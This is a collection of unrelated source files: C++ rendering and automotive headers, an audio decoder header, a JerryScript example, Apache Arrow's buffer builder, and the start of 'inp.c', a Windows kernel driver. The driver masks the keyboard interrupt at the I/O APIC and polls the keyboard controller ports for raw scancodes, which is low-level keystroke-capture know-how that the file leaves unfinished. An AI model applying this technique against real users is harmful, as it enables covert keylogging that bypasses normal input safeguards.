* Sets both the specular and diffust light colors. Use setDiffuseLightColor and setSpecularLightColor to set the individual light colors.
* @param r Red value 0-1.
* @param g Green value 0-1
* @param b Blue value 0-1
* @param a Alpha value 0-1
*/
void setLightColor(Number r, Number g, Number b, Number a=1.0) {
setDiffuseLightColor(r,g,b);
setSpecularLightColor(r,g,b,a);
}
/**
* Sets the spotlight properties. These control the shape of the spotlight beam.
* @param spotlightExponent Spotlight exponent size
* @param spotlightCutoff Spotlight furstrum cutoff.
*/
void setSpotlightProperties(Number spotlightCutoff, Number spotlightExponent);
Number getSpotlightCutoff() const;
Number getSpotlightExponent() const;
/**
* If this is called with 'true', the light will generate a shadow map.
* @param val If set to true, enables this light to cast shadows.
* @param resolution Resolution of the shadow map. (defaults to 256x256).
*/
void enableShadows(bool val, unsigned int resolution=256);
/**
* This sets the shadow map field of view. The larger the field of view, the more of the scene it encompasses, but the more quality it loses.
* @param fov New field of view value.
*/
void setShadowMapFOV(Number fov);
/**
* Returns the light's shadow map field of view.
*/
Number getShadowMapFOV() const;
unsigned int getShadowMapResolution() const;
/**
* Returns true if shadows are enabled.
*/
bool areShadowsEnabled() const;
/**
* Returns the light type.
*/
int getLightType() const;
void setLightImportance(int newImportance);
int getLightImportance() const;
void setLightType(int lightType);
virtual Entity *Clone(bool deepClone, bool ignoreEditorOnly) const;
virtual void applyClone(Entity *clone, bool deepClone, bool ignoreEditorOnly) const;
Camera *getSpotlightCamera();
LightInfo getLightInfo() const;
protected:
LightInfo lightInfo;
std::shared_ptr<RenderBuffer> shadowMapRenderBuffer;
std::shared_ptr<Material> depthMapMaterial;
Camera *spotCamera;
unsigned int shadowMapRes;
Number shadowMapFOV;
Number distance;
};
}
| 31.81592 | 197 | 0.706959 | [
"mesh",
"render",
"shape",
"3d"
] |
d91296202ccf95c3aff27acda4c86e4cab23e079 | 2,514 | h | C | src/ecu_lua_script.h | amosproj/amos-ss2017-project4-car-simulator | b9286ed6a9707eac04d7c26786a52c447551c0cc | [
"Apache-2.0"
] | null | null | null | src/ecu_lua_script.h | amosproj/amos-ss2017-project4-car-simulator | b9286ed6a9707eac04d7c26786a52c447551c0cc | [
"Apache-2.0"
] | null | null | null | src/ecu_lua_script.h | amosproj/amos-ss2017-project4-car-simulator | b9286ed6a9707eac04d7c26786a52c447551c0cc | [
"Apache-2.0"
] | null | null | null | /**
* @file ecu_lua_script.h
*
*/
#ifndef ECU_LUA_SCRIPT_H
#define ECU_LUA_SCRIPT_H
#include "selene.h"
#include "isotp_sender.h"
#include "session_controller.h"
#include <string>
#include <cstdint>
#include <vector>
constexpr char REQ_ID_FIELD[] = "RequestId";
constexpr char RES_ID_FIELD[] = "ResponseId";
constexpr char BROADCAST_ID_FIELD[] = "BroadcastId";
constexpr char READ_DATA_BY_IDENTIFIER_TABLE[] = "ReadDataByIdentifier";
constexpr char READ_SEED[] = "Seed";
constexpr char RAW_TABLE[] = "Raw";
constexpr uint16_t DEFAULT_BROADCAST_ADDR = 0x7DF;
class EcuLuaScript
{
public:
EcuLuaScript() = delete;
EcuLuaScript(const std::string& ecuIdent, const std::string& luaScript);
EcuLuaScript(const EcuLuaScript& orig) = delete;
EcuLuaScript& operator =(const EcuLuaScript& orig) = delete;
EcuLuaScript(EcuLuaScript&& orig) noexcept;
EcuLuaScript& operator =(EcuLuaScript&& orig) noexcept;
virtual ~EcuLuaScript() = default;
std::uint16_t getRequestId() const;
std::uint16_t getResponseId() const;
std::uint16_t getBroadcastId() const;
std::string getSeed(std::uint8_t identifier) const;
std::string getDataByIdentifier(const std::string& identifier) const;
std::string getDataByIdentifier(const std::string& identifier, const std::string& session) const;
std::string getRaw(const std::string& identStr) const;
bool hasRaw(const std::string& identStr) const;
static std::vector<std::uint8_t> literalHexStrToBytes(const std::string& hexString);
static std::string ascii(const std::string& utf8_str) noexcept;
static std::string getCounterByte(const std::string& msg) noexcept;
static void getDataBytes(const std::string& msg) noexcept;
static std::string createHash() noexcept;
static std::string toByteResponse(std::uint32_t value, std::uint32_t len = sizeof(std::uint32_t)) noexcept;
static void sleep(unsigned int ms) noexcept;
void sendRaw(const std::string& response) const;
std::uint8_t getCurrentSession() const;
void switchToSession(int ses);
void registerSessionController(SessionController* pSesCtrl) noexcept;
void registerIsoTpSender(IsoTpSender* pSender) noexcept;
private:
sel::State lua_state_{true};
std::string ecu_ident_;
SessionController* pSessionCtrl_ = nullptr;
IsoTpSender* pIsoTpSender_ = nullptr;
std::uint16_t requestId_;
std::uint16_t responseId_;
std::uint16_t broadcastId_ = DEFAULT_BROADCAST_ADDR;
};
#endif /* ECU_LUA_SCRIPT_H */
| 35.914286 | 111 | 0.742243 | [
"vector"
] |
d9170cdbb92b801ea808d10ad44e7be1196d0501 | 1,496 | h | C | native/avos/external/android/libsfdec/dec_audio.h | goyourfly/NovaCustom | c55265060a84b7b5b1f4b42ae096370205c66ad7 | [
"Apache-2.0"
] | 6 | 2018-07-06T19:15:11.000Z | 2021-07-18T10:40:54.000Z | native/avos/external/android/libsfdec/dec_audio.h | goyourfly/NovaCustom | c55265060a84b7b5b1f4b42ae096370205c66ad7 | [
"Apache-2.0"
] | 1 | 2020-02-05T22:19:24.000Z | 2020-02-05T22:19:24.000Z | native/avos/external/android/libsfdec/dec_audio.h | goyourfly/NovaCustom | c55265060a84b7b5b1f4b42ae096370205c66ad7 | [
"Apache-2.0"
] | 4 | 2018-05-22T20:15:22.000Z | 2020-04-09T12:35:24.000Z | /*
* Copyright 2017 Archos SA
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef _DEC_AUDIO_H
#define _DEC_AUDIO_H
#include "sfdec.h"
#include <unistd.h>
#include <stdint.h>
#if __cplusplus
extern "C" {
#endif
sfdec_t* dec_audio_new( sfdec_codec_t codec,int64_t duration_us, int input_size, int samplesPerSec, int channels, int bitrate,
void *extradata, size_t extradata_size, int64_t codec_delay, int64_t seek_preroll);
void dec_audio_delete(sfdec_t *sfdec);
int dec_audio_start(sfdec_t *);
int dec_audio_stop(sfdec_t *);
ssize_t dec_audio_send_input(sfdec_t *sfdec, void *data, size_t size, int64_t time_us, int is_sync_frame, int wait);
int dec_audio_flush(sfdec_t *sfdec);
int dec_audio_stop_input(sfdec_t *sfdec);
int dec_audio_read(sfdec_t *sfdec, int64_t seek, sfdec_read_out_t *read_out);
int dec_audio_buf_render(sfdec_t *sfdec, sfbuf_t *sfbuf, int render);
int dec_audio_buf_release(sfdec_t *sfdec, sfbuf_t *sfbuf);
#if __cplusplus
}
#endif
#endif
| 32.521739 | 126 | 0.766043 | [
"render"
] |
d9257d9a2ddf52cf09dfedc4f28c7247e59f5635 | 2,130 | c | C | src/example4.c | LaszloLango/jerry-examples | 38aa0564cfd3e0c4d4cd2b47b1bb82878122e6a5 | [
"Apache-2.0"
] | 2 | 2018-02-02T02:18:46.000Z | 2018-05-09T14:50:53.000Z | src/example4.c | LaszloLango/jerry-examples | 38aa0564cfd3e0c4d4cd2b47b1bb82878122e6a5 | [
"Apache-2.0"
] | null | null | null | src/example4.c | LaszloLango/jerry-examples | 38aa0564cfd3e0c4d4cd2b47b1bb82878122e6a5 | [
"Apache-2.0"
] | null | null | null | /* Copyright 2016 Samsung Electronics Co., Ltd.
* Copyright 2016 University of Szeged.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <string.h>
#include "jerryscript.h"
#include "jerryscript-ext/handler.h"
int
main (int argc, char *argv[]) {
const jerry_char_t str[] = "Hello, World!";
const jerry_char_t script[] = "print (s);";
/* Initializing JavaScript environment */
jerry_init (JERRY_INIT_EMPTY);
/* Register 'print' function from the extensions */
jerryx_handler_register_global ((const jerry_char_t *) "print",
jerryx_handler_print);
/* Getting pointer to the Global object */
jerry_value_t global_object = jerry_get_global_object ();
/* Constructing strings */
jerry_value_t prop_name = jerry_create_string ((const jerry_char_t *) "s");
jerry_value_t prop_value = jerry_create_string (str);
/* Setting the string value as a property of the Global object */
jerry_set_property (global_object, prop_name, prop_value);
/* Releasing string values, as it is no longer necessary outside of engine */
jerry_release_value (prop_name);
jerry_release_value (prop_value);
/* Releasing the Global object */
jerry_release_value (global_object);
/* Now starting script that would output value of just initialized field */
jerry_value_t eval_ret = jerry_eval (script,
strlen ((const char *) script),
false);
/* Free JavaScript value, returned by eval */
jerry_release_value (eval_ret);
/* Freeing engine */
jerry_cleanup ();
return 0;
} | 34.354839 | 79 | 0.696714 | [
"object"
] |
d92a01a16ebbc2639a22d367fb2a3d4e4da45d7c | 16,435 | h | C | cpp/src/arrow/buffer_builder.h | timkpaine/arrow | a96297e65e17e728e4321cdecc7ace146e1363fb | [
"CC-BY-3.0",
"Apache-2.0",
"CC0-1.0",
"MIT"
] | 9,734 | 2016-02-17T13:22:12.000Z | 2022-03-31T09:35:00.000Z | cpp/src/arrow/buffer_builder.h | timkpaine/arrow | a96297e65e17e728e4321cdecc7ace146e1363fb | [
"CC-BY-3.0",
"Apache-2.0",
"CC0-1.0",
"MIT"
] | 11,470 | 2016-02-19T15:30:28.000Z | 2022-03-31T23:27:21.000Z | cpp/src/arrow/buffer_builder.h | timkpaine/arrow | a96297e65e17e728e4321cdecc7ace146e1363fb | [
"CC-BY-3.0",
"Apache-2.0",
"CC0-1.0",
"MIT"
] | 2,637 | 2016-02-17T10:56:29.000Z | 2022-03-31T08:20:13.000Z | // Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
#pragma once
#include <algorithm>
#include <cstdint>
#include <cstring>
#include <memory>
#include <string>
#include <utility>
#include "arrow/buffer.h"
#include "arrow/status.h"
#include "arrow/util/bit_util.h"
#include "arrow/util/bitmap_generate.h"
#include "arrow/util/bitmap_ops.h"
#include "arrow/util/macros.h"
#include "arrow/util/ubsan.h"
#include "arrow/util/visibility.h"
namespace arrow {
// ----------------------------------------------------------------------
// Buffer builder classes
/// \class BufferBuilder
/// \brief A class for incrementally building a contiguous chunk of in-memory
/// data
class ARROW_EXPORT BufferBuilder {
public:
explicit BufferBuilder(MemoryPool* pool = default_memory_pool())
: pool_(pool),
data_(/*ensure never null to make ubsan happy and avoid check penalties below*/
util::MakeNonNull<uint8_t>()),
capacity_(0),
size_(0) {}
/// \brief Constructs new Builder that will start using
/// the provided buffer until Finish/Reset are called.
/// The buffer is not resized.
explicit BufferBuilder(std::shared_ptr<ResizableBuffer> buffer,
MemoryPool* pool = default_memory_pool())
: buffer_(std::move(buffer)),
pool_(pool),
data_(buffer_->mutable_data()),
capacity_(buffer_->capacity()),
size_(buffer_->size()) {}
/// \brief Resize the buffer to the nearest multiple of 64 bytes
///
/// \param new_capacity the new capacity of the of the builder. Will be
/// rounded up to a multiple of 64 bytes for padding
/// \param shrink_to_fit if new capacity is smaller than the existing,
/// reallocate internal buffer. Set to false to avoid reallocations when
/// shrinking the builder.
/// \return Status
Status Resize(const int64_t new_capacity, bool shrink_to_fit = true) {
if (buffer_ == NULLPTR) {
ARROW_ASSIGN_OR_RAISE(buffer_, AllocateResizableBuffer(new_capacity, pool_));
} else {
ARROW_RETURN_NOT_OK(buffer_->Resize(new_capacity, shrink_to_fit));
}
capacity_ = buffer_->capacity();
data_ = buffer_->mutable_data();
return Status::OK();
}
/// \brief Ensure that builder can accommodate the additional number of bytes
/// without the need to perform allocations
///
/// \param[in] additional_bytes number of additional bytes to make space for
/// \return Status
Status Reserve(const int64_t additional_bytes) {
auto min_capacity = size_ + additional_bytes;
if (min_capacity <= capacity_) {
return Status::OK();
}
return Resize(GrowByFactor(capacity_, min_capacity), false);
}
/// \brief Return a capacity expanded by the desired growth factor
static int64_t GrowByFactor(int64_t current_capacity, int64_t new_capacity) {
// Doubling capacity except for large Reserve requests. 2x growth strategy
// (versus 1.5x) seems to have slightly better performance when using
// jemalloc, but significantly better performance when using the system
// allocator. See ARROW-6450 for further discussion
return std::max(new_capacity, current_capacity * 2);
}
/// \brief Append the given data to the buffer
///
/// The buffer is automatically expanded if necessary.
Status Append(const void* data, const int64_t length) {
if (ARROW_PREDICT_FALSE(size_ + length > capacity_)) {
ARROW_RETURN_NOT_OK(Resize(GrowByFactor(capacity_, size_ + length), false));
}
UnsafeAppend(data, length);
return Status::OK();
}
/// \brief Append copies of a value to the buffer
///
/// The buffer is automatically expanded if necessary.
Status Append(const int64_t num_copies, uint8_t value) {
ARROW_RETURN_NOT_OK(Reserve(num_copies));
UnsafeAppend(num_copies, value);
return Status::OK();
}
// Advance pointer and zero out memory
Status Advance(const int64_t length) { return Append(length, 0); }
// Advance pointer, but don't allocate or zero memory
void UnsafeAdvance(const int64_t length) { size_ += length; }
// Unsafe methods don't check existing size
void UnsafeAppend(const void* data, const int64_t length) {
memcpy(data_ + size_, data, static_cast<size_t>(length));
size_ += length;
}
void UnsafeAppend(const int64_t num_copies, uint8_t value) {
memset(data_ + size_, value, static_cast<size_t>(num_copies));
size_ += num_copies;
}
/// \brief Return result of builder as a Buffer object.
///
/// The builder is reset and can be reused afterwards.
///
/// \param[out] out the finalized Buffer object
/// \param shrink_to_fit if the buffer size is smaller than its capacity,
/// reallocate to fit more tightly in memory. Set to false to avoid
/// a reallocation, at the expense of potentially more memory consumption.
/// \return Status
Status Finish(std::shared_ptr<Buffer>* out, bool shrink_to_fit = true) {
ARROW_RETURN_NOT_OK(Resize(size_, shrink_to_fit));
if (size_ != 0) buffer_->ZeroPadding();
*out = buffer_;
if (*out == NULLPTR) {
ARROW_ASSIGN_OR_RAISE(*out, AllocateBuffer(0, pool_));
}
Reset();
return Status::OK();
}
Result<std::shared_ptr<Buffer>> Finish(bool shrink_to_fit = true) {
std::shared_ptr<Buffer> out;
ARROW_RETURN_NOT_OK(Finish(&out, shrink_to_fit));
return out;
}
/// \brief Like Finish, but override the final buffer size
///
/// This is useful after writing data directly into the builder memory
/// without calling the Append methods (basically, when using BufferBuilder
/// mostly for memory allocation).
Result<std::shared_ptr<Buffer>> FinishWithLength(int64_t final_length,
bool shrink_to_fit = true) {
size_ = final_length;
return Finish(shrink_to_fit);
}
void Reset() {
buffer_ = NULLPTR;
capacity_ = size_ = 0;
}
/// \brief Set size to a smaller value without modifying builder
/// contents. For reusable BufferBuilder classes
/// \param[in] position must be non-negative and less than or equal
/// to the current length()
void Rewind(int64_t position) { size_ = position; }
int64_t capacity() const { return capacity_; }
int64_t length() const { return size_; }
const uint8_t* data() const { return data_; }
uint8_t* mutable_data() { return data_; }
private:
std::shared_ptr<ResizableBuffer> buffer_;
MemoryPool* pool_;
uint8_t* data_;
int64_t capacity_;
int64_t size_;
};
template <typename T, typename Enable = void>
class TypedBufferBuilder;
/// \brief A BufferBuilder for building a buffer of arithmetic elements
template <typename T>
class TypedBufferBuilder<
T, typename std::enable_if<std::is_arithmetic<T>::value ||
std::is_standard_layout<T>::value>::type> {
public:
explicit TypedBufferBuilder(MemoryPool* pool = default_memory_pool())
: bytes_builder_(pool) {}
explicit TypedBufferBuilder(std::shared_ptr<ResizableBuffer> buffer,
MemoryPool* pool = default_memory_pool())
: bytes_builder_(std::move(buffer), pool) {}
explicit TypedBufferBuilder(BufferBuilder builder)
: bytes_builder_(std::move(builder)) {}
BufferBuilder* bytes_builder() { return &bytes_builder_; }
Status Append(T value) {
return bytes_builder_.Append(reinterpret_cast<uint8_t*>(&value), sizeof(T));
}
Status Append(const T* values, int64_t num_elements) {
return bytes_builder_.Append(reinterpret_cast<const uint8_t*>(values),
num_elements * sizeof(T));
}
Status Append(const int64_t num_copies, T value) {
ARROW_RETURN_NOT_OK(Reserve(num_copies + length()));
UnsafeAppend(num_copies, value);
return Status::OK();
}
void UnsafeAppend(T value) {
bytes_builder_.UnsafeAppend(reinterpret_cast<uint8_t*>(&value), sizeof(T));
}
void UnsafeAppend(const T* values, int64_t num_elements) {
bytes_builder_.UnsafeAppend(reinterpret_cast<const uint8_t*>(values),
num_elements * sizeof(T));
}
template <typename Iter>
void UnsafeAppend(Iter values_begin, Iter values_end) {
int64_t num_elements = static_cast<int64_t>(std::distance(values_begin, values_end));
auto data = mutable_data() + length();
bytes_builder_.UnsafeAdvance(num_elements * sizeof(T));
std::copy(values_begin, values_end, data);
}
void UnsafeAppend(const int64_t num_copies, T value) {
auto data = mutable_data() + length();
bytes_builder_.UnsafeAdvance(num_copies * sizeof(T));
std::fill(data, data + num_copies, value);
}
Status Resize(const int64_t new_capacity, bool shrink_to_fit = true) {
return bytes_builder_.Resize(new_capacity * sizeof(T), shrink_to_fit);
}
Status Reserve(const int64_t additional_elements) {
return bytes_builder_.Reserve(additional_elements * sizeof(T));
}
Status Advance(const int64_t length) {
return bytes_builder_.Advance(length * sizeof(T));
}
Status Finish(std::shared_ptr<Buffer>* out, bool shrink_to_fit = true) {
return bytes_builder_.Finish(out, shrink_to_fit);
}
Result<std::shared_ptr<Buffer>> Finish(bool shrink_to_fit = true) {
std::shared_ptr<Buffer> out;
ARROW_RETURN_NOT_OK(Finish(&out, shrink_to_fit));
return out;
}
/// \brief Like Finish, but override the final buffer size
///
/// This is useful after writing data directly into the builder memory
/// without calling the Append methods (basically, when using TypedBufferBuilder
/// only for memory allocation).
Result<std::shared_ptr<Buffer>> FinishWithLength(int64_t final_length,
bool shrink_to_fit = true) {
return bytes_builder_.FinishWithLength(final_length * sizeof(T), shrink_to_fit);
}
void Reset() { bytes_builder_.Reset(); }
int64_t length() const { return bytes_builder_.length() / sizeof(T); }
int64_t capacity() const { return bytes_builder_.capacity() / sizeof(T); }
const T* data() const { return reinterpret_cast<const T*>(bytes_builder_.data()); }
T* mutable_data() { return reinterpret_cast<T*>(bytes_builder_.mutable_data()); }
private:
BufferBuilder bytes_builder_;
};
/// \brief A BufferBuilder for building a buffer containing a bitmap
template <>
class TypedBufferBuilder<bool> {
public:
explicit TypedBufferBuilder(MemoryPool* pool = default_memory_pool())
: bytes_builder_(pool) {}
explicit TypedBufferBuilder(BufferBuilder builder)
: bytes_builder_(std::move(builder)) {}
BufferBuilder* bytes_builder() { return &bytes_builder_; }
Status Append(bool value) {
ARROW_RETURN_NOT_OK(Reserve(1));
UnsafeAppend(value);
return Status::OK();
}
Status Append(const uint8_t* valid_bytes, int64_t num_elements) {
ARROW_RETURN_NOT_OK(Reserve(num_elements));
UnsafeAppend(valid_bytes, num_elements);
return Status::OK();
}
Status Append(const int64_t num_copies, bool value) {
ARROW_RETURN_NOT_OK(Reserve(num_copies));
UnsafeAppend(num_copies, value);
return Status::OK();
}
void UnsafeAppend(bool value) {
bit_util::SetBitTo(mutable_data(), bit_length_, value);
if (!value) {
++false_count_;
}
++bit_length_;
}
/// \brief Append bits from an array of bytes (one value per byte)
void UnsafeAppend(const uint8_t* bytes, int64_t num_elements) {
if (num_elements == 0) return;
int64_t i = 0;
internal::GenerateBitsUnrolled(mutable_data(), bit_length_, num_elements, [&] {
bool value = bytes[i++];
false_count_ += !value;
return value;
});
bit_length_ += num_elements;
}
/// \brief Append bits from a packed bitmap
void UnsafeAppend(const uint8_t* bitmap, int64_t offset, int64_t num_elements) {
if (num_elements == 0) return;
internal::CopyBitmap(bitmap, offset, num_elements, mutable_data(), bit_length_);
false_count_ += num_elements - internal::CountSetBits(bitmap, offset, num_elements);
bit_length_ += num_elements;
}
void UnsafeAppend(const int64_t num_copies, bool value) {
bit_util::SetBitsTo(mutable_data(), bit_length_, num_copies, value);
false_count_ += num_copies * !value;
bit_length_ += num_copies;
}
template <bool count_falses, typename Generator>
void UnsafeAppend(const int64_t num_elements, Generator&& gen) {
if (num_elements == 0) return;
if (count_falses) {
internal::GenerateBitsUnrolled(mutable_data(), bit_length_, num_elements, [&] {
bool value = gen();
false_count_ += !value;
return value;
});
} else {
internal::GenerateBitsUnrolled(mutable_data(), bit_length_, num_elements,
std::forward<Generator>(gen));
}
bit_length_ += num_elements;
}
Status Resize(const int64_t new_capacity, bool shrink_to_fit = true) {
const int64_t old_byte_capacity = bytes_builder_.capacity();
ARROW_RETURN_NOT_OK(
bytes_builder_.Resize(bit_util::BytesForBits(new_capacity), shrink_to_fit));
// Resize() may have chosen a larger capacity (e.g. for padding),
// so ask it again before calling memset().
const int64_t new_byte_capacity = bytes_builder_.capacity();
if (new_byte_capacity > old_byte_capacity) {
// The additional buffer space is 0-initialized for convenience,
// so that other methods can simply bump the length.
memset(mutable_data() + old_byte_capacity, 0,
static_cast<size_t>(new_byte_capacity - old_byte_capacity));
}
return Status::OK();
}
Status Reserve(const int64_t additional_elements) {
return Resize(
BufferBuilder::GrowByFactor(bit_length_, bit_length_ + additional_elements),
false);
}
Status Advance(const int64_t length) {
ARROW_RETURN_NOT_OK(Reserve(length));
bit_length_ += length;
false_count_ += length;
return Status::OK();
}
Status Finish(std::shared_ptr<Buffer>* out, bool shrink_to_fit = true) {
// set bytes_builder_.size_ == byte size of data
bytes_builder_.UnsafeAdvance(bit_util::BytesForBits(bit_length_) -
bytes_builder_.length());
bit_length_ = false_count_ = 0;
return bytes_builder_.Finish(out, shrink_to_fit);
}
Result<std::shared_ptr<Buffer>> Finish(bool shrink_to_fit = true) {
std::shared_ptr<Buffer> out;
ARROW_RETURN_NOT_OK(Finish(&out, shrink_to_fit));
return out;
}
/// \brief Like Finish, but override the final buffer size
///
/// This is useful after writing data directly into the builder memory
/// without calling the Append methods (basically, when using TypedBufferBuilder
/// only for memory allocation).
Result<std::shared_ptr<Buffer>> FinishWithLength(int64_t final_length,
bool shrink_to_fit = true) {
const auto final_byte_length = bit_util::BytesForBits(final_length);
bytes_builder_.UnsafeAdvance(final_byte_length - bytes_builder_.length());
bit_length_ = false_count_ = 0;
return bytes_builder_.FinishWithLength(final_byte_length, shrink_to_fit);
}
void Reset() {
bytes_builder_.Reset();
bit_length_ = false_count_ = 0;
}
int64_t length() const { return bit_length_; }
int64_t capacity() const { return bytes_builder_.capacity() * 8; }
const uint8_t* data() const { return bytes_builder_.data(); }
uint8_t* mutable_data() { return bytes_builder_.mutable_data(); }
int64_t false_count() const { return false_count_; }
private:
BufferBuilder bytes_builder_;
int64_t bit_length_ = 0;
int64_t false_count_ = 0;
};
} // namespace arrow
| 35.728261 | 89 | 0.692486 | [
"object"
] |
d9360e4ef03c2c2f5faa7166ef7dc9af928f46d3 | 11,642 | c | C | Rootkits/vault/chpie/fk3/sys/inp.c | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 46 | 2017-05-15T11:15:08.000Z | 2018-07-02T03:32:52.000Z | Rootkits/vault/chpie/fk3/sys/inp.c | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | null | null | null | Rootkits/vault/chpie/fk3/sys/inp.c | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 24 | 2017-05-17T03:26:17.000Z | 2018-07-09T07:00:50.000Z | /* inp.c
*
*
* - Blocking Interrupt -
*
*
*
* University of Seoul, Computer Science
* 2004920042 Chul-woong, Lee
*
* contact :: chpie@naver.com
* http://chpie.tistory.com/
* http://cafe.naver.com/inphook.cafe/
*
*
* 2007. 12. 30.
*/
#include <ntddk.h>
#include "inp.h"
// Function prototypes
VOID DrvUnload(IN PDRIVER_OBJECT);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT, IN PUNICODE_STRING);
NTSTATUS IoDeviceControl(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS IoReadWrite(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS IoDispatch(IN PDEVICE_OBJECT, IN PIRP);
//
// Apic related function
//
void InpIOAPICDisconnection(unsigned long **);
void InpIOAPICConnection(unsigned long **);
ULONG InpGetKeyboardInterruptVector(void);
void Inp_Mask_KeyboardInterrupt(void);
void Inp_Unmask_KeyboardInterrupt(void);
/*
*
* Structures
*
*/
#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, DrvUnload)
#pragma alloc_text(PAGE, IoDeviceControl)
#pragma alloc_text(PAGE, IoReadWrite)
#pragma alloc_text(PAGE, IoDispatch)
#endif
#define NT_DEVICE_NAME L"\\Device\\INP" // device name and symbolic link name
#define DOS_DEVICE_NAME L"\\DosDevices\\INP"
#define NT_KEYBOARD_NAME0 L"\\Device\\KeyboardClass0" // keyboard driver's name
#define IOCTL_REQUEST_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_REGISTER_EVENT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define OUTPUT_BUFFER_FULL 0x1
#define INPUT_BUFFER_FULL 0x2
#define MOUSE_OUTPUT_BUFFER_FULL 0x20
#define BUFFER_FULL (OUTPUT_BUFFER_FULL|MOUSE_OUTPUT_BUFFER_FULL)
/*
*
*
* Global Variables.
*
*/
PDEVICE_EXTENSION globalPdx; // backup pointer;
PULONG IOAPICGate; // mapped physical 0xfec00000 by the InpIOAPICConnection()
// communication
PKEVENT pEvent = NULL;
UCHAR data[2];
/*
*
* Codes
*
*/
void Inp_Mask_KeyboardInterrupt(void)
{
ULONG Buffer;
IOAPICGate[0] = 0x10 + 2 * 1; // Open IRQ1's Redirection Table
Buffer = IOAPICGate[4];
_asm
{
bts Buffer, 16 // raise up bit offset 16 - Interrupt masked
}
IOAPICGate[0] = 0x10 + 2 * 1;
IOAPICGate[4] = Buffer; // write
}
void Inp_Unmask_KeyboardInterrupt(void)
{
ULONG Buffer;
IOAPICGate[0] = 0x10 + 2 * 1; // Open IRQ1's Redirection Table
Buffer = IOAPICGate[4];
_asm
{
btr Buffer, 16 // clean up bit offset 16 - Interrupt is not masked
}
IOAPICGate[0] = 0x10 + 2 * 1;
IOAPICGate[4] = Buffer; // write
}
void InpIOAPICConnection(unsigned long ** MappedVirtualVariable)
{
PHYSICAL_ADDRESS IOAPIC_AREA; // i/o apic mapped pointer
//
// Connect physical memory 0xfec00000 to [MappedVirtualVariable]
//
IOAPIC_AREA = RtlConvertLongToLargeInteger(0xFEC00000);
*MappedVirtualVariable = MmMapIoSpace(IOAPIC_AREA, 0x20, MmNonCached);
}
void InpIOAPICDisconnection(unsigned long ** MappedVirtualVariable)
{
MmUnmapIoSpace(*MappedVirtualVariable, 0x20);
}
ULONG InpGetKeyboardInterruptVector(void)
{
ULONG ReturnValue = 0;
// IOREGSEL writing
IOAPICGate[0] = 0x10 + 2 * 1; // 0x10 + 2 * IRQ, Keyboard's irq is 1
// read IOWIN
ReturnValue = IOAPICGate[4] & 0xFF;
if (!ReturnValue)
{
DbgPrint("GetKeyboardInterruptVector() failed. i'll use the default vector 0x93.");
ReturnValue = 0x93; // default ps/2 keyboard vector on wintelXP
}
return ReturnValue;
}
char ReadOutputBuffer(char * status, PKEVENT kill)
{
LARGE_INTEGER delayTime = RtlConvertLongToLargeInteger(-6000); // (n * 100) nano-seconds
int count;
char dummy, ret = 0;
for (count = 0; count < 0xA0000 && !KeReadStateEvent(kill); count++)
{
dummy = READ_PORT_UCHAR((PUCHAR)0x64);
if ((dummy & BUFFER_FULL) == OUTPUT_BUFFER_FULL)
{
ret = READ_PORT_UCHAR((PUCHAR)0x60); // Read
break;
}
KeDelayExecutionThread(KernelMode, FALSE, &delayTime);
}
if (count == 0xA0000)
{
*status = -1; // | Reject
}
else if (KeReadStateEvent(kill))
{
*status = -1;
ret = -1;
}
else
{
*status = dummy;
}
return ret;
}
int GenerateScancode(char scancode)
{
int count = 0xA0000;
while(--count > 0 && (READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
if (!count) return -1;
WRITE_PORT_UCHAR((PUCHAR)0x64, 0xD2); // Generate a scancode
count = 0xA0000;
while(--count > 0 && (READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
if (!count) return -1;
WRITE_PORT_UCHAR((PUCHAR)0x60, scancode); // Put a Value
// wait until drain
while(!(READ_PORT_UCHAR((PUCHAR)0x64) & OUTPUT_BUFFER_FULL));
return 0;
}
void ThreadProc(PDEVICE_EXTENSION pdx) // IRQL equals to PASSIVE_LEVEL
{
static unsigned char engine[] = { 0xCD, 0x00, 0xC3 }; // int xx, ret
unsigned char kccByte; // 0 XLATE ME KE IGNLK SYSF MIE KIE //
LARGE_INTEGER delayTime = RtlConvertLongToLargeInteger(-6000); // (n * 100) nano-seconds
//--------------------------------------------------------------------------
// Write Keyboard controller RAM - disabling keyboard output buffer interrupt
//
kccByte = 0x46; // disable KIE bit
while((READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
